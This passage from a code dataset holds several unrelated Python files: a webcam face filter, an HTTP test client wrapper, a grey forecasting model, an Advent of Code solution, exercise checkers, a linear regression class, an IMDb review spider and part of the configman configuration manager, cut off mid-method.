left_cheek_center = (int(x + 0.25 * w), int(y + 0.5 * h + 10))\n right_cheek_center = (int(x + 0.75 * w), int(y + 0.5 * h + 10))\n\n # Draw a spiral on the left cheek\n for angle in range(0, int(num_turns * 360), 5):\n x = int(left_cheek_center[0] + radius * (1 + angle / 360.0) * np.cos(angle * np.pi / 180))\n y = int(left_cheek_center[1] + radius * (1 + angle / 360.0) * np.sin(angle * np.pi / 180))\n cv2.circle(img_out, (x, y), thickness, color, -1)\n\n # Draw a spiral on the right cheek\n for angle in range(0, int(num_turns * 360), 5):\n x = int(right_cheek_center[0] + radius * (1 + angle / 360.0) * np.cos(angle * np.pi / 180))\n y = int(right_cheek_center[1] + radius * (1 + angle / 360.0) * np.sin(angle * np.pi / 180))\n cv2.circle(img_out, (x, y), thickness, color, -1)\n\n return img_out\n\n\n# Create a VideoCapture object to read from the default camera device\ncap = cv2.VideoCapture(0)\n\n# Load the pre-trained face detection model\nhaar_file = os.path.join(os.path.dirname(cv2.__file__), 'data', 'haarcascade_frontalface_default.xml')\nface_cascade = cv2.CascadeClassifier(haar_file)\n\nwhile True:\n # Read a frame from the camera\n ret, img = cap.read()\n\n # Convert the image to grayscale\n img_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n # Detect faces in the image\n faces = face_cascade.detectMultiScale(img_gray, 1.3, 5)\n\n # Draw a rectangle around each detected face\n for (x, y, w, h) in faces:\n cv2.rectangle(img, (x, y), (x + w, y + h), (0, 255, 0), 2)\n\n \n\n # apply snapchat filter\n #img = apply_snapchat_filter(img)\n\n # apply spiral cheeks filter\n img = apply_spiral_cheeks_filter(img)\n\n # Show the image in a window\n cv2.imshow('Face Detection', img)\n\n # Press 'q' to exit\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n# Release the camera and close all windows\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"MossLimpert/IGME531","sub_path":"0417_facialRec/cascade_inclass.py","file_name":"cascade_inclass.py","file_ext":"py","file_size_in_byte":4018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"172765481","text":"import requests\nimport readConfig as readConfig\nfrom common.Log import MyLog as Log\nimport json\n\nlocalReadConfig = readConfig.ReadConfig()\n\n\nclass ConfigHttp:\n\n def __init__(self):\n # 调用ReadConfig模块的方法取得到config.ini文件的HTTP值\n global scheme, host, port, timeout\n scheme = localReadConfig.get_http(\"scheme\")\n host = localReadConfig.get_http(\"baseurl\")\n port = localReadConfig.get_http(\"port\")\n timeout = localReadConfig.get_http(\"timeout\")\n # 导入日志方法,self.logger调用\n self.log = Log.get_log()\n self.logger = self.log.get_logger()\n # 定义一个空得字典用来接收传入的各种参数,供后部分的请求方法GET,POST函数中调用\n self.headers = {}\n self.params = {}\n self.data = {}\n self.url = None\n self.files = {}\n self.state = 0\n\n # 拼接url地址 http://www.baidu.com + API地址并赋值给self.url\n def set_url(self, url):\n \"\"\"\n set url\n :param: interface url\n :return:\n \"\"\"\n self.url = scheme+'://'+host+url\n\n # 传入headder参数后赋值给self.headers\n def set_headers(self, header):\n \"\"\"\n set headers\n :param header:\n :return:\n \"\"\"\n self.headers = header\n\n # 传入param参数后赋值给self.param\n def set_params(self, param):\n \"\"\"\n set params\n :param param:\n :return:\n \"\"\"\n self.params = param\n\n # 传入data参数后赋值给self.data\n def set_data(self, data):\n \"\"\"\n set data\n :param data:\n :return:\n \"\"\"\n self.data = data\n\n # 传入data参数后赋值给self.data,几乎不会用(可省略)\n def set_files(self, filename):\n \"\"\"\n set upload files\n :param filename:\n :return:\n \"\"\"\n if filename != '':\n file_path = 'F:/AppTest/Test/interfaceTest/testFile/img/' + filename\n self.files = {'file': open(file_path, 'rb')}\n\n if filename == '' or filename is None:\n self.state = 1\n\n # defined http get method\n def get(self):\n \"\"\"\n defined get method\n :return:\n \"\"\"\n try:\n response = requests.get(self.url, headers=self.headers, params=self.params, timeout=float(timeout)) # timeout 请求超时时间\n # response.raise_for_status()\n return response\n except TimeoutError:\n self.logger.error(\"Time out!\")\n return None\n\n # defined http post method\n # include get params and post data(包括get参数和post表单提交方式)\n # uninclude upload file (不包括上传文件方式)\n def post(self):\n \"\"\"\n defined post method\n :return:\n \"\"\"\n try:\n response = requests.post(self.url, headers=self.headers, params=self.params, data=self.data, timeout=float(timeout))\n # response.raise_for_status()\n return response\n except TimeoutError:\n self.logger.error(\"Time out!\")\n return None\n\n # defined http post method\n # include upload file (上传文件方式)\n def postWithFile(self):\n \"\"\"\n defined post method\n :return:\n \"\"\"\n try:\n response = requests.post(self.url, headers=self.headers, data=self.data, files=self.files, timeout=float(timeout))\n return response\n except TimeoutError:\n self.logger.error(\"Time out!\")\n return None\n\n # defined http post method\n # for json (JSON提交方式)\n def postWithJson(self):\n \"\"\"\n defined post method\n :return:\n \"\"\"\n try:\n response = requests.post(self.url, headers=self.headers, json=self.data, timeout=float(timeout))\n return response\n except TimeoutError:\n self.logger.error(\"Time out!\")\n return None\n\nif __name__ == \"__main__\":\n print(\"ConfigHTTP\")\n","repo_name":"ly021499/InterfaceTest","sub_path":"common/configHttp.py","file_name":"configHttp.py","file_ext":"py","file_size_in_byte":4071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"70611098267","text":"import numpy as np\n\nfrom ..utils.base import BaseModel\n\n\nclass GM11(BaseModel):\n \"\"\"GM11 for grey model\"\"\"\n\n def __init__(self, phio=0.5):\n \"\"\"\n :@param phio: the adjustable coefficient, used for testing.\n :type phio: float, value in [0, 1].\n \"\"\"\n\n self.phio = phio\n\n\n def fit(self, sequence):\n \"\"\"Training GM(1,1) model\n\n :@param sequence: raw sequential data.\n :type sequence: np.array(N X 1).\n \"\"\"\n\n self.sequence = sequence\n X1 = np.cumsum(self.sequence).transpose()\n X1_temp = (X1[:-1] + X1[1:]) / 2\n B = np.column_stack((-X1_temp, np.ones_like(X1_temp)))\n Y = self.sequence[1:]\n a_hat = np.dot(np.linalg.inv(np.dot(B.T, B)), np.dot(B.T, Y))\n self.a_hat = a_hat\n return self\n\n\n def gm11_predict_test(self, method=\"Posterior_difference_test\"):\n \"\"\"Some model checking methods are provided to detect\n whether the model is applicable to data.\n\n :@parame method: some model checking methods.\n :type method: string, optional value in {Residual_test,\n Correlation_degree_test, Posterior_difference_test},\n default is Posterior_difference_test.\n \"\"\"\n\n X0_hat = self.predict(len(self.sequence))\n delt_0 = abs(self.sequence - X0_hat)\n\n # Residual test\n if method == \"Residual_test\":\n Fi = delt_0 / self.sequence\n return Fi\n\n # Correlation degree test\n elif method == \"Correlation_degree_test\":\n yita = ((min(delt_0) + self.phio * max(delt_0)) /\n (delt_0 + self.phio * max(delt_0)))\n R = np.mean(yita)\n return R\n\n # Posterior difference test\n elif method == \"Posterior_difference_test\":\n C = np.std(delt_0) / np.std(self.sequence)\n P = np.sum((delt_0 - np.mean(delt_0)) < 0.674 *\n np.std(self.sequence)) / len(delt_0)\n if P > 0.95 and C < 0.35:\n print(\"Model good\")\n elif P > 0.80 and C < 0.50:\n print(\"Model standard\")\n elif P > 0.70 and C < 0.65:\n print(\"Barely qualified\")\n else:\n print(\"Model bad\")\n\n\n def predict(self, n):\n \"\"\"Predict function.\n\n :@param n: predict the number of sequences.\n :type n: int.\n :return: predict sequential.\n :rtype: np.array(n X 1).\n \"\"\"\n\n if not hasattr(self, \"a_hat\"):\n raise Exception(\"Please run `fit` before predict!\")\n\n X_hat = [(self.sequence[0] - (self.a_hat[1] / self.a_hat[0])) *\\\n np.exp(-self.a_hat[0] * k) + self.a_hat[1] / self.a_hat[0]\n for k in range(n)]\n # The decreasing sequence generation\n X0_hat = np.diff(np.array(X_hat))\n X0_hat = np.insert(X0_hat, 0, X_hat[0])\n return X0_hat\n","repo_name":"yhangf/mimose","sub_path":"mimose/models/grey_model.py","file_name":"grey_model.py","file_ext":"py","file_size_in_byte":2949,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"11"} +{"seq_id":"7052015379","text":"\ndef readFromFile():\n #open file\n file = open(\"Day2/input.txt\")\n #get contents\n con = file.readlines()\n #close fle\n file.close()\n return con\n\ndef part1():\n #variables\n t = 0\n i = 0\n\n file = readFromFile()\n\n #loop until end of file\n while i < len(file):\n \n #store line\n line = file[i]\n\n #get rid of all whitespace\n line = ''.join(line.split())\n\n \n #check for win and add 6 if won\n if line in [\"AY\",\"BZ\",\"CX\"]:\n t+=6\n \n #check for Draw and add 3 if drawn\n if line in [\"AX\",\"BY\",\"CZ\"]:\n t+=3\n \n #add relevant score for each shape\n if \"X\" in line:\n t+=1\n elif \"Y\" in line:\n t+=2\n else:\n t+=3\n\n #increase counter\n i+= 1\n\n #return the result\n return t\n\ndef part2():\n #variables\n t = 0\n i = 0\n \n file = readFromFile()\n\n #loop until end of file\n while i < len(file):\n \n #store line\n line = file[i]\n \n #get rid of all whitespace\n line = ''.join(line.split())\n \n #check if told to loose and add points based on which losing shape you chose\n if \"X\" in line:\n if \"A\" in line:\n t+=3\n elif \"B\" in line:\n t+=1\n elif \"C\" in line:\n t+=2\n \n #check if told to Draw and add points based on the draw + which drawing shape you chose\n if \"Y\" in line:\n if \"A\" in line:\n t+=4\n elif \"B\" in line:\n t+=5\n elif \"C\" in line:\n t+=6 \n \n #check if told to Win and add points based on the Win + which Winning shape you chose\n if \"Z\" in line:\n if \"A\" in line:\n t+=8\n elif \"B\" in line:\n t+=9\n elif \"C\" in line:\n t+=7 \n \n #increase counter\n \n i+=1\n \n return t\n\n\n#Part 1 \np1= part1()\nprint(\"Total score according to Part 1 is: \" + str(p1))\n\n#Part 2\np2 = part2()\nprint(\"Total score according to Part 2 is: \" + str(p2))\n\n\n\n","repo_name":"EuanRobertson1/AofC_2022","sub_path":"Day2/day2.py","file_name":"day2.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"17596697017","text":"def check_step_1(\n a: int,\n b: int,\n) -> None:\n assert isinstance(a, int), \"The value of 'a' is incorrect. It should be an integer.\"\n assert isinstance(b, int), \"The value of 'b' is incorrect. It should be an integer.\"\n assert a == 10, \"The value of 'a' is incorrect. It should be 10.\"\n assert b == 7, \"The value of 'b' is incorrect. It should be 7.\"\n print(\n \"\\033[92m\\N{heavy check mark} Well done! \"\n \"You have successfully assigned values to the variables 'a' and 'b'.\"\n )\n\ndef check_step_2(\n mod_value: int,\n) -> None:\n assert isinstance(mod_value, int), \\\n \"The value of 'mod_value' is incorrect. It should be an integer.\"\n assert mod_value == 3, \\\n \"The value of 'mod_value' is incorrect. Please, try again.\"\n print(\n \"\\033[92m\\N{heavy check mark} Well done! \"\n \"You have successfully assigned the value of the remainder of 'a' divided by 'b' to the variable 'mod_value'.\"\n )\n \n\ndef check_step_3(\n floor_value: int,\n) -> None:\n assert isinstance(floor_value, int), \\\n \"The value of 'floor_value' is incorrect. It should be an integer.\"\n assert floor_value == 1, \\\n \"The value of 'floor_value' is incorrect. Please, try again.\"\n print(\n \"\\033[92m\\N{heavy check mark} Well done! \"\n \"You have successfully assigned the value of the floor division of \"\n \"'a' divided by 'b' to the variable 'floor_value'.\"\n )\n\ndef check_step_4(\n exp_value: int,\n) -> None:\n assert isinstance(exp_value, int), \\\n \"The value of 'exp_value' is incorrect. It should be an integer.\"\n assert exp_value == 10000000, \\\n \"The value of 'exp_value' is incorrect. Please, try again.\"\n print(\n \"\\033[92m\\N{heavy check mark} Well done! \"\n \"You have successfully assigned the value of the exponentiation of \"\n \"'a' to the power of 'b' to the variable 'exp_value'.\"\n )\n","repo_name":"johnconcent/coreai","sub_path":"Content/units/Essentials/7. Python programming/3. Numbers/Practicals/1. Run More Complex Arithmetic Operations/marking_system.py","file_name":"marking_system.py","file_ext":"py","file_size_in_byte":1923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"32246953404","text":"import numpy as np\n\nfrom mlscratch.commons.algorithms import Scaling\nfrom mlscratch.minmization.GradientDescent import gradient_descent, numerical_check\n\n\nclass LinearRegression:\n def __init__(self, algorithm='gd'):\n self.m = None # number of examples\n self.n = None # number of features\n self.theta = None\n\n if algorithm not in ('gd', 'norm'):\n raise Exception(\"Algorithms must be either 'gd' for GradientDescent or 'norm' for Normal equation\")\n\n self.algorithm = algorithm\n\n def train(self, x, y, alpha=0.0005, threshold=0.0001, iterations=2000, regularization_term=0):\n self.m = x.shape[0]\n self.n = x.shape[1]\n\n if self.algorithm == 'gd':\n self.theta = self._gradient_descent(x, y, alpha, threshold, iterations,\n regularization_term)\n elif self.algorithm == 'norm':\n self.theta = self._normal_equation(x, y, regularization_term)\n\n def predict(self, x):\n x = Scaling.add_identity_column(x)\n return LinearRegression._hypothesis(self.theta, x)\n\n def test_gradient_descent(self, x, y, delta):\n x = Scaling.add_identity_column(x)\n parameters = np.zeros((self.n + 1, 1))\n\n return numerical_check(x, parameters, y, self._cost_function, self._gradient, delta)\n\n def _gradient_descent(self, x, y, alpha, threshold, iterations, regularization_term):\n x = Scaling.add_identity_column(x)\n parameters = np.zeros((self.n + 1, 1))\n\n regularization_vector = np.concatenate(\n (np.zeros(1),\n np.full(self.n, regularization_term)), axis=0).reshape(-1, 1)\n\n extra_params = {\n \"alpha\": alpha,\n \"regularization_vector\": regularization_vector\n }\n\n return gradient_descent(parameters, x, y, self._cost_function, self._update_function,\n iterations, threshold, extra_params)\n\n @staticmethod\n def _gradient(theta, x, y):\n m = x.shape[0]\n return x.T.dot(LinearRegression._hypothesis(theta, x) - y) / m\n\n @staticmethod\n def _update_function(theta, x, y, extra_param):\n regularization_vector = extra_param.get(\"regularization_vector\")\n alpha = extra_param.get(\"alpha\", 0.001)\n m = x.shape[0]\n\n return theta * (1 - alpha * (regularization_vector / m)) - \\\n alpha * LinearRegression._gradient(theta, x, y)\n\n def _normal_equation(self, x, y, regularization_term):\n x = Scaling.add_identity_column(x)\n regularization_matrix = np.identity(self.n)\n regularization_matrix[0][0] = 0\n\n # regularization might not be working:\n return np.linalg.pinv((x.T.dot(x) + regularization_term * regularization_matrix)).dot(\n x.T.dot(y))\n\n @staticmethod\n def _hypothesis(x, y):\n return y.dot(x)\n\n @staticmethod\n def _cost_function(theta, x, y):\n return np.sum((LinearRegression._hypothesis(theta, x) - y) ** 2) / (2 * x.shape[0])\n","repo_name":"depitropov/mlscratch","sub_path":"mlscratch/regression/LinearRegression.py","file_name":"LinearRegression.py","file_ext":"py","file_size_in_byte":3039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"70960638107","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom scrapy.linkextractors import LinkExtractor\nfrom scrapy.spiders import CrawlSpider, Rule\nfrom scrapy.shell import inspect_response\n\nfrom ..items import UserItem\n\nclass UsersSpider(CrawlSpider):\n name = 'users'\n allowed_domains = ['imdb.com']\n start_urls = ['https://www.imdb.com/search/title/?title_type=feature&languages=en&sort=num_votes,desc&view=simple']\n\n rules = (\n Rule(LinkExtractor(restrict_xpaths=\"//span[@class='lister-item-header']/span/a\"), callback='parse_1', follow=True),\n Rule(LinkExtractor(restrict_xpaths=\"(//a[@class='lister-page-next next-page'])[2]\"))\n )\n\n def parse_1(self, response):\n reviews_url = response.xpath(\"(//ul[@data-testid='reviewContent-all-reviews']/li/a/@href)[1]\").get()\n if reviews_url:\n yield response.follow(url=reviews_url, callback=self.parse_2)\n\n def parse_2(self, response):\n item = UserItem()\n movie = response.xpath(\"//h3[@itemprop='name']/a/text()\").get()\n reviews = response.xpath(\"//div[@class='review-container']\")\n for review in reviews:\n item['rating'] = review.xpath(\".//div[@class='lister-item-content']/div/span/span[1]/text()\").get()\n item['rating_date'] = review.xpath(\".//span[@class='review-date']/text()\").get()\n item['user_name'] = review.xpath(\".//div[@class='display-name-date']/span/a/text()\").get()\n item['movie'] = movie\n \n yield item","repo_name":"johnodonnell123/web_scraping","sub_path":"Scrapy_Udemy/imdb_nlp/imdb/spiders/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"7093527545","text":"import sys\nimport os\nimport collections\nimport inspect\nimport os.path\nimport contextlib\nimport functools\nimport copy\n\nimport configman as cm\nimport converters as conv\nimport config_exceptions as exc\nimport value_sources\nimport def_sources\n\n#==============================================================================\n# for convenience define some external symbols here\nfrom option import Option, Aggregation\nfrom dotdict import DotDict, DotDictWithAcquisition\nfrom namespace import Namespace\nfrom config_file_future_proxy import ConfigFileFutureProxy\nfrom required_config import RequiredConfig\n\n\n#==============================================================================\nclass ConfigurationManager(object):\n\n #--------------------------------------------------------------------------\n def __init__(self,\n definition_source=None,\n values_source_list=None,\n argv_source=None,\n #use_config_files=True,\n use_auto_help=True,\n use_admin_controls=True,\n quit_after_admin=True,\n options_banned_from_help=None,\n app_name='',\n app_version='',\n app_description='',\n config_pathname='.',\n ):\n \"\"\"create and initialize a configman object.\n\n parameters:\n definition_source - a namespace or list of namespaces from which\n configman is to fetch the definitions of the\n configuration parameters.\n values_source_list - (optional) a hierarchical list of sources for\n values for the configuration parameters.\n As values are copied from these sources,\n conficting values are resolved with sources\n on the right getting preference over sources on\n the left.\n argv_source - if the values_source_list contains a commandline\n source, this value is an alternative source for\n actual command line arguments. Useful for testing or\n preprocessing command line arguments.\n use_auto_help - set to True if configman is to automatically set up\n help output for command line invocations.\n use_admin_controls - configman can add command line flags that it\n interprets independently of the app defined\n arguments. True enables this capability, while,\n False supresses it.\n quit_after_admin - if True and admin controls are enabled and used,\n call sys.exit to end the app. This is useful to\n stop the app from running if all that was done\n was to write a config file or stop after help.\n options_banned_from_help - a list of strings that will censor the\n output of help to prevent specified\n options from being listed in the help\n output. This is useful for hiding debug\n or secret command line arguments.\n app_name - assigns a name to the app. This is used in help output\n and as a default basename for config files.\n app_version - assigns a version for the app used help output.\n app_description - assigns a description for the app to be used in\n the help output.\n config_pathname - a hard coded path to the directory of or the full\n path and name of the configuration file.\"\"\"\n # instead of allowing mutables as default keyword argument values...\n if definition_source is None:\n definition_source_list = []\n elif (isinstance(definition_source, collections.Sequence) and\n not isinstance(definition_source, basestring)):\n definition_source_list = list(definition_source)\n else:\n definition_source_list = [definition_source]\n\n if argv_source is None:\n argv_source = sys.argv[1:]\n if options_banned_from_help is None:\n options_banned_from_help = ['admin.application']\n self.config_pathname = config_pathname\n\n self.app_name = app_name\n self.app_version = app_version\n self.app_description = app_description\n\n self.args = [] # extra commandline arguments that are not switches\n # will be stored here.\n\n self._config = None # eventual container for DOM-like config object\n\n self.argv_source = argv_source\n self.option_definitions = Namespace()\n self.definition_source_list = definition_source_list\n\n if values_source_list is None:\n # nothing set, assume defaults\n if use_admin_controls:\n values_source_list = (cm.ConfigFileFutureProxy,\n cm.environment,\n cm.command_line)\n else:\n values_source_list = (cm.environment,\n cm.command_line)\n\n admin_tasks_done = False\n self.admin_controls_list = ['help',\n 'admin.conf',\n 'admin.dump_conf',\n 'admin.print_conf',\n 'admin.application']\n self.options_banned_from_help = options_banned_from_help\n\n if use_auto_help:\n self._setup_auto_help()\n if use_admin_controls:\n admin_options = self._setup_admin_options(values_source_list)\n self.definition_source_list.append(admin_options)\n\n # iterate through the option definitions to create the nested dict\n # hierarchy of all the options called 'option_definitions'\n for a_definition_source in self.definition_source_list:\n def_sources.setup_definitions(a_definition_source,\n self.option_definitions)\n\n if use_admin_controls:\n # some admin options need to be loaded from the command line\n # prior to processing the rest of the command line options.\n admin_options = value_sources.get_admin_options_from_command_line(\n self)\n # integrate the admin_options with 'option_definitions'\n self._overlay_value_sources_recurse(source=admin_options,\n ignore_mismatches=True)\n\n self.values_source_list = value_sources.wrap(values_source_list,\n self)\n\n # first pass to get classes & config path - ignore bad options\n self._overlay_value_sources(ignore_mismatches=True)\n\n # walk tree expanding class options\n self._walk_expanding_class_options()\n\n # the app_name, app_version and app_description are to come from\n # if 'admin.application' option if it is present. If it is not present,\n # get the app_name,et al, from parameters passed into the constructor.\n # if those are empty, set app_name, et al, to empty strings\n try:\n app_option = self._get_option('admin.application')\n self.app_name = getattr(app_option.value, 'app_name', '')\n self.app_version = getattr(app_option.value, 'app_version', '')\n self.app_description = getattr(app_option.value,\n 'app_description', '')\n except exc.NotAnOptionError:\n # there is no 'admin.application' option, continue to use the\n # 'app_name' from the parameters passed in, if they exist.\n pass\n\n # second pass to include config file values - ignore bad options\n self._overlay_value_sources(ignore_mismatches=True)\n\n # walk tree expanding class options\n self._walk_expanding_class_options()\n\n # third pass to get values - complain about bad options\n self._overlay_value_sources(ignore_mismatches=False)\n\n if use_auto_help and self._get_option('help').value:\n self.output_summary()\n admin_tasks_done = True\n\n if (use_admin_controls\n and self._get_option('admin.print_conf').value):\n self.print_conf()\n admin_tasks_done = True\n\n if (use_admin_controls\n and self._get_option('admin.dump_conf').value):\n self.dump_conf()\n admin_tasks_done = True\n\n if quit_after_admin and admin_tasks_done:\n sys.exit()\n\n #--------------------------------------------------------------------------\n @contextlib.contextmanager\n def context(self):\n \"\"\"return a config as a context that calls close on every item when\n it goes out of scope\"\"\"\n config = None\n try:\n config = self.get_config()\n yield config\n finally:\n if config:\n self._walk_and_close(config)\n\n #--------------------------------------------------------------------------\n def get_config(self, mapping_class=DotDictWithAcquisition):\n config = self._generate_config(mapping_class)\n if self._aggregate(self.option_definitions, config, config):\n # state changed, must regenerate\n return self._generate_config(mapping_class)\n else:\n return config\n\n #--------------------------------------------------------------------------\n def output_summary(self,\n output_stream=sys.stdout,\n block_password=True):\n \"\"\"outputs a usage tip and the list of acceptable commands.\n This is useful as the output of the 'help' option.\n\n parameters:\n output_stream - an open file-like object suitable for use as the\n target of a print statement\n block_password - a boolean driving the use of a string of * in\n place of the value for any object containing the\n substring 'passowrd'\n \"\"\"\n if self.app_name or self.app_description:\n print >> output_stream, 'Application:',\n if self.app_name:\n print >> output_stream, self.app_name, self.app_version\n if self.app_description:\n print >> output_stream, self.app_description\n if self.app_name or self.app_description:\n print >> output_stream, ''\n\n names_list = self.get_option_names()\n names_list.sort()\n if names_list:\n print >> output_stream, 'Options:'\n\n for name in names_list:\n if name in self.options_banned_from_help:\n continue\n option = self._get_option(name)\n\n line = ' ' * 2 # always start with 2 spaces\n if option.short_form:\n line += '-%s, ' % option.short_form\n line += '--%s' % name\n line = line.ljust(30) # seems to the common practise\n\n doc = option.doc if option.doc is not None else ''\n try:\n value = option.value\n type_of_value = type(value)\n converter_function = conv.to_string_converters[type_of_value]\n default = converter_function(value)\n except KeyError:\n default = option.value\n if default is not None:\n if 'password' in name.lower():\n default = '*********'\n if doc:\n doc += ' '\n if name not in ('help',):\n # don't bother with certain dead obvious ones\n doc += '(default: %s)' % default\n\n line += doc\n print >> output_stream, line\n\n #--------------------------------------------------------------------------\n def print_conf(self):\n \"\"\"write a config file to the pathname specified in the parameter. The\n file extention determines the type of file written and must match a\n registered type.\n\n parameters:\n config_pathname - the full path and filename of the target config\n file.\"\"\"\n\n config_file_type = self._get_option('admin.print_conf').value\n\n @contextlib.contextmanager\n def stdout_opener():\n yield sys.stdout\n\n skip_keys = [k for (k, v)\n in self.option_definitions.iteritems()\n if isinstance(v, Option) and v.exclude_from_print_conf]\n self.write_conf(config_file_type, stdout_opener, skip_keys=skip_keys)\n\n #--------------------------------------------------------------------------\n def dump_conf(self, config_pathname=None):\n \"\"\"write a config file to the pathname specified in the parameter. The\n file extention determines the type of file written and must match a\n registered type.\n\n parameters:\n config_pathname - the full path and filename of the target config\n file.\"\"\"\n\n if not config_pathname:\n config_pathname = self._get_option('admin.dump_conf').value\n\n opener = functools.partial(open, config_pathname, 'w')\n config_file_type = os.path.splitext(config_pathname)[1][1:]\n\n skip_keys = [k for (k, v)\n in self.option_definitions.iteritems()\n if isinstance(v, Option) and v.exclude_from_dump_conf]\n\n self.write_conf(config_file_type, opener, skip_keys=skip_keys)\n\n #--------------------------------------------------------------------------\n def write_conf(self, config_file_type, opener, skip_keys=None):\n \"\"\"write a configuration file to a file-like object.\n\n parameters:\n config_file_type - a string containing a registered file type OR\n a for_XXX module from the value_source\n package. Passing in an string that is\n unregistered will result in a KeyError\n opener - a callable object or function that returns a file like\n object that works as a context in a with statement.\"\"\"\n\n blocked_keys = self.admin_controls_list\n if skip_keys:\n blocked_keys.extend(skip_keys)\n\n option_iterator = functools.partial(self._walk_config,\n blocked_keys=blocked_keys)\n with opener() as config_fp:\n value_sources.write(config_file_type,\n option_iterator,\n config_fp)\n\n #--------------------------------------------------------------------------\n def log_config(self, logger):\n \"\"\"write out the current configuration to a log-like object.\n\n parameters:\n logger - a object that implements a method called 'info' with the\n same semantics as the call to 'logger.info'\"\"\"\n\n logger.info(\"app_name: %s\", self.app_name)\n logger.info(\"app_version: %s\", self.app_version)\n logger.info(\"current configuration:\")\n config = [(qkey, val.value) for qkey, key, val in\n self._walk_config(self.option_definitions)\n if qkey not in self.admin_controls_list\n and not isinstance(val, Namespace)]\n config.sort()\n for key, val in config:\n if 'password' in key.lower():\n logger.info('%s: *********', key)\n else:\n try:\n logger.info('%s: %s', key,\n conv.to_string_converters[type(key)](val))\n except KeyError:\n logger.info('%s: %s', key, val)\n\n #--------------------------------------------------------------------------\n def get_option_names(self, source=None, names=None, prefix=''):\n \"\"\"returns a list of fully qualified option names.\n\n parameters:\n source - a sequence of Namespace of Options, usually not specified,\n If not specified, the function will default to using the\n internal list of Option definitions.\n names - a list to start with for appending the lsit Option names.\n If ommited, the function will start with an empty list.\n\n returns:\n a list of strings representing the Options in the source Namespace\n list. Each item will be fully qualified with dot delimited\n Namespace names.\n \"\"\"\n if not source:\n source = self.option_definitions\n if names is None:\n names = []\n for key, val in source.items():\n if isinstance(val, Namespace):\n new_prefix = '%s%s.' % (prefix, key)\n self.get_option_names(val, names, new_prefix)\n elif isinstance(val, Option):\n names.append(\"%s%s\" % (prefix, key))\n # skip aggregations, we want only Options\n return names\n\n #--------------------------------------------------------------------------\n @staticmethod\n def _walk_and_close(a_dict):\n for val in a_dict.itervalues():\n if isinstance(val, collections.Mapping):\n ConfigurationManager._walk_and_close(val)\n if hasattr(val, 'close') and not inspect.isclass(val):\n val.close()\n\n #--------------------------------------------------------------------------\n def _generate_config(self, mapping_class):\n \"\"\"This routine generates a copy of the DotDict based config\"\"\"\n config = mapping_class()\n self._walk_config_copy_values(self.option_definitions,\n config,\n mapping_class)\n return config\n\n #--------------------------------------------------------------------------\n def _walk_expanding_class_options(self, source_namespace=None,\n parent_namespace=None):\n if source_namespace is None:\n source_namespace = self.option_definitions\n expanded_keys = []\n expansions_were_done = True\n while expansions_were_done:\n expansions_were_done = False\n # can't use iteritems in loop, we're changing the dict\n for key, val in source_namespace.items():\n if isinstance(val, Namespace):\n self._walk_expanding_class_options(source_namespace=val,\n parent_namespace=source_namespace)\n elif (key not in expanded_keys and\n (inspect.isclass(val.value) or\n inspect.ismodule(val.value))):\n expanded_keys.append(key)\n expansions_were_done = True\n if key == 'application':\n target_namespace = parent_namespace\n else:\n target_namespace = source_namespace\n try:\n for o_key, o_val in \\\n val.value.get_required_config().iteritems():\n target_namespace.__setattr__(o_key,\n copy.deepcopy(o_val))\n except AttributeError:\n pass # there are no required_options for this class\n else:\n pass # don't need to touch other types of Options\n self._overlay_value_sources(ignore_mismatches=True)\n\n #--------------------------------------------------------------------------\n def _setup_auto_help(self):\n help_option = Option(name='help', doc='print this', default=False)\n self.definition_source_list.append({'help': help_option})\n\n #--------------------------------------------------------------------------\n def _get_config_pathname(self):\n if os.path.isdir(self.config_pathname):\n # we've got a path with no file name at the end\n # use the appname as the file name and default to an 'ini'\n # config file type\n if self.app_name:\n return os.path.join(self.config_pathname,\n '%s.ini' % self.app_name)\n else:\n # there is no app_name yet\n # we'll punt and use 'config'\n return os.path.join(self.config_pathname, 'config.ini')\n return self.config_pathname\n\n #--------------------------------------------------------------------------\n def _setup_admin_options(self, values_source_list):\n base_namespace = Namespace()\n base_namespace.admin = admin = Namespace()\n admin.add_option(name='print_conf',\n default=None,\n doc='write current config to stdout (%s)'\n % ', '.join(\n value_sources.file_extension_dispatch.keys())\n )\n admin.add_option(name='dump_conf',\n default='',\n doc='a pathname to which to write the current config',\n )\n # only offer the config file admin options if they've been requested in\n # the values source list\n if ConfigFileFutureProxy in values_source_list:\n default_config_pathname = self._get_config_pathname()\n admin.add_option(name='conf',\n default=default_config_pathname,\n doc='the pathname of the config file '\n '(path/filename)',\n )\n return base_namespace\n\n #--------------------------------------------------------------------------\n def _overlay_value_sources(self, ignore_mismatches=True):\n for a_settings_source in self.values_source_list:\n try:\n this_source_ignore_mismatches = (ignore_mismatches or\n a_settings_source.always_ignore_mismatches)\n except AttributeError:\n # the settings source doesn't have the concept of always\n # ignoring mismatches, so the original value of\n # ignore_mismatches stands\n this_source_ignore_mismatches = ignore_mismatches\n options = a_settings_source.get_values(self,\n ignore_mismatches=this_source_ignore_mismatches)\n self._overlay_value_sources_recurse(options,\n ignore_mismatches=this_source_ignore_mismatches)\n\n #--------------------------------------------------------------------------\n def _overlay_value_sources_recurse(self, source, destination=None,\n prefix='', ignore_mismatches=True):\n if destination is None:\n destination = self.option_definitions\n for key, val in source.items():\n try:\n sub_destination = destination\n for subkey in key.split('.'):\n sub_destination = sub_destination[subkey]\n except KeyError:\n if ignore_mismatches:\n continue\n if key == subkey:\n raise exc.NotAnOptionError('%s is not an option' % key)\n raise exc.NotAnOptionError('%s subpart %s is not an option' %\n (key, subkey))\n except TypeError:\n pass\n if isinstance(sub_destination, Namespace):\n 